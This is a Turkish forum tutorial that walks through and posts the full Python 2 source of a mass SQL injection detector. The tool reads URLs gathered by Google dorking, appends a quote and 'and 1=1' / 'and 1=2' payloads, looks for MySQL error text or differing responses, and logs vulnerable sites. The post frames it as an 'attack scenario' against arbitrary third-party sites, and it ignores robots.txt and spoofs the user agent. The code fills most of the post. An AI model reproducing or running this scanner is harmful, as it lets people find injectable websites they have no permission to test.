SQL Injection Dedektör [Python] (1 Viewer)

Joined
Dec 9, 2017
Credits
4
Rating - 0%
Merhaba arkadaşlar bu yazımızda Sql Injection zaafiyetini tespit etmek için ufak bir araç yapacağız. Daha önceki Google Searcherprojemizde çıkan linkleri txt dosyasına kayıt etmiştik bu sefer txt dosyasındaki linkleri okuyarak sql injection açığı var mı yok mu bunu kontrol edeceğiz.

Saldırı Senaryosu:


X dorku ile bulduğumuz arama sonuçlarında çıkan her bir hedef linkte sql injection açığı için kontrol aşamalarından geçireceğiz. Tespit edilen linkler bize txt dosyasında sunulacak.

Algoritma:

1. Başla
2. Link var ise al yok ise 5. adıma git
3. Adim1() sql injection var ise yazdır 2. adıma git
4. Adim2() sql injection var ise yazdır ve 2. adıma git
5. Programı sonlandır

Kod Paylaşımı:

1. İlk olarak genel ayarlarımızı yaptık her zamanki gibi. Bu sefer timeout süresinide değiştirdik çok beklemek istemeyiz çünkü.

Code:
#! -*- coding: utf-8 -*-
import mechanize,re,sys #kullanacağımız modülleri aktardık.
br = mechanize.Browser() # tarayicimizi olusturduk..
br.set_handle_robots(False) # robots.txt engellerini aşmak için false dedik
br.addheaders = [('User-agent', 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)')] # header ekledik
mechanize._sockettimeout._GLOBAL_DEFAULT_TIMEOUT = 5 # timeout süresini belirledik

2. Bu kısımda standart birşey yaptık arkadaşlar. Aracımızı bir başkası kullandığı zaman nasıl kullanıldığı hakkında yardımcı olmak adına fonksiyonumuzu oluşturduk.

Code:
def yardim(): #yardim fonksiyonumuz
    print "[!] Örnek kullanım:\n>> sql-i.py -i linkler.txt -o sonuclar.txt" # örnek kullanım..
    print "\n[+] = sql injection var demek!\n[?] = sql injection olabilir demek!\n[??] = blind sql injection olabilir demek!"

3. 1. Adım dediğimiz kısım arkadaşlar. Herkesin yaptığı gibi en basit sql injection hatası var mı yok mu diyerek ‘a ifadesini koyduk linklerimizin sonuna..
Code:
def Adim1(link): #Adım 1
    istek = br.open(link) # gelen linke istek gönderilir..
    kaynak_kod = istek.read() # açılan linkin  kaynak kodu alınır
    istek2 = br.open(link+"'a") # aynı linke 'a eklenerek 2. istek atılır
    kaynak_kod2 = istek2.read() # açılan sitenin kaynak kodu 2. kez alınır
    if kaynak_kod != kaynak_kod2: # alınan 2 kaynak kod eşit değil ise
        if re.findall('You have an error in your SQL',kaynak_kod2): # 2. aldığımız kaynak kodda şu cümle aranır
            print "[+] "+link # varsa ekrana yazdır
            dosya2.write(link+"\n") # ve dosyamıza yazdırırız
            pass # geç
        else: # 2.kaynak kod da sihirli sözcük yok ise
            print "[?] "+link # Sql injection olabilir denilir..
            dosya2.write(link+"\n") # ve dosyamıza yazdırırız
            pass # geç
    else: # eğer karşılaştırılan 2 kaynak kod da aynı ise
        Adim2(link) # Adım 2 ye gider linkimiz..

4. 2. Adım dediğimiz bu kısımda eğer ‘a diyerek hata alamıyorsak mantıksal sorgu ile birde şansımızı 2. adımda deneyeceğiz arkadaşlar..


Code:
def Adim2(link): # Adım 2
    #print "Adım 2 ye geçildi !!"
    istek3 = br.open(link+"+and+1=1") # linkimiz 3. istekde mantıksal sorgu ile tekrar açıldı
    kaynak_kod3 = istek3.read() # açılan sitenin kaynak kodu alındı
    istek4 = br.open(link+"+and+1=2") # 4. istekte yine ilk mantıksal sorguya ters bir mantık ile tekrar açıldı
    kaynak_kod4 = istek4.read() # açılan sitenin kaynak kodu alındı
    if kaynak_kod3 != kaynak_kod4: # kaynak kodlar karşılaştırıldı aynı değil ise !
        print "[??] "+link # Blind sql injection olabilir dendi..
        dosya2.write(link+"\n") # ve dosyamıza yazıldı
        pass # geç
    else: # kaynak kodlar aynı ise
        pass # geç

5. Ve son kısım arkadaşlar burası kodlarımızın beyni oluyor yani bütün iş burada dönüyor daha önceki fonksiyonlarımızı buradan çağırıyoruz gerekli hataları burada yok sayıyoruz(bypass).Bu kısımda açıklama satırlarında da okuyacağınız gibi txt den aldığımız linkleri gerekli fonksiyonumuza yollayarak yolculuğa çıkarıyoruz aynı zamanda bol bol hataları yok saymak adına try except metodunu kullanıyoruz.

Code:
try: # Hatalar için try kullanıyoruz
    if sys.argv[1] == "-i" and sys.argv[3] == "-o": # argümanlarda -i ve -o var mı kontrol ettik eğer var ise
        i_dosya = sys.argv[2] # argümanlarımızı alıyoruz
        o_dosya = sys.argv[4] # argümanlarımızı alıyoruz
        dosya = open(i_dosya,"r") # dosyamızı okumak adına açtık
        kelimeler = dosya.read() # okuduk
        linkler = kelimeler.split("\n") # listemize aktardık split ile parçalayarak..
        dosya2 = open(o_dosya,"a") # 2. dosyamızı açtık üzerine eklemeli olarak yazmak için !       
        for a in linkler: # linklerimizi for döngüsünde döküyoruz
            try: # yine aynı şekil sitelerin güvenlik duvarlarının verdikleri cevaplardan programımızın hata vermemesi için try kullandık
                Adim1(a) # Adim 1 e linkimizi yolladık
            except:
                pass # Hata çıkarsa geç sıradaki linke
        print "[+] İslem bitmistir.." # işlem bittiğinde
    else: # argümanlar yok ise
        yardim() # yardim fonksiyonunu göster kullanma kılavuzu
except: # Hata çıkarsa
    yardim() # yardim fonksiyonumuzu göster..

6. Ve arkadaşlar projemizin sonuna gelmiş bulunmaktayız. Kodların hepsine aşşağıdan ulaşabilirsiniz.

Code:
#! -*- coding: utf-8 -*-
import mechanize,re,sys #kullanacağımız modülleri aktardık.
br = mechanize.Browser() # tarayicimizi olusturduk..
br.set_handle_robots(False) # robots.txt engellerini aşmak için false dedik
br.addheaders = [('User-agent', 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)')] # header ekledik
mechanize._sockettimeout._GLOBAL_DEFAULT_TIMEOUT = 5 # timeout süresini belirledik
 
def yardim(): #yardim fonksiyonumuz
    print "[!] Örnek kullanım:\n>> sql-i.py -i linkler.txt -o sonuclar.txt" # örnek kullanım..
    print "\n[+] = sql injection var demek!\n[?] = sql injection olabilir demek!\n[??] = blind sql injection olabilir demek!"
def Adim2(link): # Adım 2
    #print "Adım 2 ye geçildi !!"
    istek3 = br.open(link+"+and+1=1") # linkimiz 3. istekde mantıksal sorgu ile tekrar açıldı
    kaynak_kod3 = istek3.read() # açılan sitenin kaynak kodu alındı
    istek4 = br.open(link+"+and+1=2") # 4. istekte yine ilk mantıksal sorguya ters bir mantık ile tekrar açıldı
    kaynak_kod4 = istek4.read() # açılan sitenin kaynak kodu alındı
    if kaynak_kod3 != kaynak_kod4: # kaynak kodlar karşılaştırıldı aynı değil ise !
        print "[??] "+link # Blind sql injection olabilir dendi..
        dosya2.write(link+"\n") # ve dosyamıza yazıldı
        pass # geç
    else: # kaynak kodlar aynı ise
        pass # geç
def Adim1(link): #Adım 1
    istek = br.open(link) # gelen linke istek gönderilir..
    kaynak_kod = istek.read() # açılan linkin  kaynak kodu alınır
    istek2 = br.open(link+"'a") # aynı linke 'a eklenerek 2. istek atılır
    kaynak_kod2 = istek2.read() # açılan sitenin kaynak kodu 2. kez alınır
    if kaynak_kod != kaynak_kod2: # alınan 2 kaynak kod eşit değil ise
        if re.findall('You have an error in your SQL',kaynak_kod2): # 2. aldığımız kaynak kodda şu cümle aranır
            print "[+] "+link # varsa ekrana yazdır
            dosya2.write(link+"\n") # ve dosyamıza yazdırırız
            pass # geç
        else: # 2.kaynak kod da sihirli sözcük yok ise
            print "[?] "+link # Sql injection olabilir denilir..
            dosya2.write(link+"\n") # ve dosyamıza yazdırırız
            pass # geç
    else: # eğer karşılaştırılan 2 kaynak kod da aynı ise
        Adim2(link) # Adım 2 ye gider linkimiz..
 
try: # Hatalar için try kullanıyoruz
    if sys.argv[1] == "-i" and sys.argv[3] == "-o": # argümanlarda -i ve -o var mı kontrol ettik eğer var ise
        i_dosya = sys.argv[2] # argümanlarımızı alıyoruz
        o_dosya = sys.argv[4] # argümanlarımızı alıyoruz
        dosya = open(i_dosya,"r") # dosyamızı okumak adına açtık
        kelimeler = dosya.read() # okuduk
        linkler = kelimeler.split("\n") # listemize aktardık split ile parçalayarak..
        dosya2 = open(o_dosya,"a") # 2. dosyamızı açtık üzerine eklemeli olarak yazmak için !       
        for a in linkler: # linklerimizi for döngüsünde döküyoruz
            try: # yine aynı şekil sitelerin güvenlik duvarlarının verdikleri cevaplardan programımızın hata vermemesi için try kullandık
                Adim1(a) # Adim 1 e linkimizi yolladık
            except:
                pass # Hata çıkarsa geç sıradaki linke
        print "[+] İslem bitmistir.." # işlem bittiğinde
    else: # argümanlar yok ise
        yardim() # yardim fonksiyonunu göster kullanma kılavuzu
except: # Hata çıkarsa
    yardim() # yardim fonksiyonumuzu göster..

Not: Projemiz Python 2.x sürümü ile kodlanmış olup mechanize modülünü kullandık. Mechanize modülü, standart kütüphanelerde olmadığı için ayrıca yüklemeniz gerekmektedir.
 

Users who are viewing this thread

Top